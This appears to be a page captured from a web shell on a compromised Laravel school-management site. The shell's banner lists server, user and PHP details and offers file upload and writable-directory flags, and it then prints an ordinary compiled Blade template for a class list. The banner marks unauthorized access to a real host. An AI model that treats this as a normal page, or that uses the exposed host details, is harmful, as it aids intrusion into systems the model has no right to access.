KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/leadai/leadai.co.in/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/leadai/leadai.co.in/storage/framework/views/a20fcfd6701624f17017e9e8bf252a432d2f1971.php
<?php $__env->startSection('content'); ?>
    <!-- begin::main content -->
    <main class="main-content">
        <div class="container">
            <!-- begin::page header -->
            <div class="page-header">
                <h3 class="text-capitalize"><?php echo e($pagetitle); ?></h3>
                <nav aria-label="breadcrumb">
                    <ol class="breadcrumb">
                        <li class="breadcrumb-item"><a
                                href="<?php echo e(asset('superadmin/dashboard')); ?>"><?php echo e(__('message.dashboard')); ?></a></li>
                        <li class="breadcrumb-item active" aria-current="page">List</li>
                    </ol>
                </nav>
            </div>
            <!-- end::page header -->
            <?php if (isset($component)) { $__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74 = $component; } ?>
<?php $component = $__env->getContainer()->make(App\View\Components\FlashMessage::class, []); ?>
<?php $component->withName('flashMessage'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74)): ?>
<?php $component = $__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74; ?>
<?php unset($__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74); ?>
<?php endif; ?>
            <div class="card">
                <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('add-class')){ ?>
                <div class="card-header">
                    <a href="<?php echo e(asset('add-class')); ?>" class="btn btn-info btn-uppercase text-white">
                        <i class="fa fa-plus fa-lg"></i>
                    </a>
                </div>
                <?php } ?>
                <div class="card-body">
                    <?php if(isset($items)): ?>
                        <div class="table-responsive-md">
                            <table id="example1" class="table table-striped table-bordered">
                                <thead class="text-uppercase">
                                    <tr>
                                        <th>#<?php echo e(__('message.si')); ?></th>
                                        <th><?php echo e(__('message.class')); ?></th>
                                        <th><?php echo e(__('message.code')); ?></th>
                                        <th><?php echo e(__('message.sorting')); ?></th>
                                        <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('edit-class')){ ?>
                                        <th><?php echo e(__('message.enabledisable')); ?></th>
                                        <?php } ?>
                                        <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('view-section')){ ?>
                                        <th><?php echo e(__('message.section')); ?></th>
                                        <?php } ?>
                                        <th><?php echo e(__('message.action')); ?></th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php if(!empty($items)): ?>
                                        <?php $__currentLoopData = $items; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $item): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                            <tr>
                                                <td><?php echo e($item->id); ?></td>
                                                <td><?php echo e($item->class); ?></td>
                                                <td><?php echo e($item->code); ?></td>
                                                <td><?php echo e($item->sort); ?></td>
                                                <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('edit-class')){ ?>
                                                <td style="width:15%;">
                                                    <div class="custom-control custom-switch custom-checkbox-success">
                                                        <label class="switch">
                                                            <input <?php echo e($item->status == '1' ? 'checked' : ''); ?>

                                                                type="checkbox" name="admin_active"
                                                                data-id="<?php echo e($item->id); ?>" value="1"
                                                                data-link="<?php echo e(asset('class-change-status')); ?>"
                                                                class="custom-control-input status-change"
                                                                id="customSwitch2_">
                                                            <span class="slider round"></span>
                                                        </label>
                                                    </div>
                                                </td>
                                                <?php } ?>
                                                <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('view-section')){ ?>
                                                <td>
                                                    <a class="btn btn-secondary btn-sm text-white"
                                                            href="<?php echo e(asset('class/section/' . $item->id)); ?>">
                                                            <i class="fa fa-eye fa-lg"></i>
                                                        </a>
                                                </td>
                                                <?php } ?>
                                                <td>
                                                    
                                                    <div class="dropdown">
                                                        <button class="btn btn-sm btn-dark dropdown-toggle" type="button"
                                                            data-toggle="dropdown">
                                                            <?php echo e(__('message.action')); ?>

                                                        </button>
                                                        <div class="dropdown-menu" aria-labelledby="dropdownMenuButton">

                                                            <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('edit-class')){ ?>
                                                            <a class="dropdown-item"
                                                                href="<?php echo e(route('class.edit', $item->id)); ?>"><?php echo e(__('message.edit')); ?></a>
                                                            <?php } ?>
                                                            <?php if(Auth::user()->hasRole('superadmin') || Auth::user()->can('delete-class')){ ?>
                                                            <a class="dropdown-item delete-confirm"
                                                                link="<?php echo e(route('class.destroy', $item->id)); ?>"
                                                                href="javascript:;"><?php echo e(__('message.delete')); ?></a>
                                                            <?php } ?>
                                                        </div>
                                                    </div>
                                                </td>
                                            </tr>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    <?php else: ?>
                                        <h1>No Record Found!!</h1>
                                    <?php endif; ?>
                                </tbody>
                            </table>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </main>
    <!-- end::main content -->
<?php $__env->stopSection(); ?>
<?php $__env->startPush('footer-script'); ?>
<?php $__env->stopPush(); ?>

<?php echo $__env->make('layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH F:\xampp\htdocs\school_saas_erp\resources\views/class/list.blade.php ENDPATH**/ ?>

Anon7 - 2021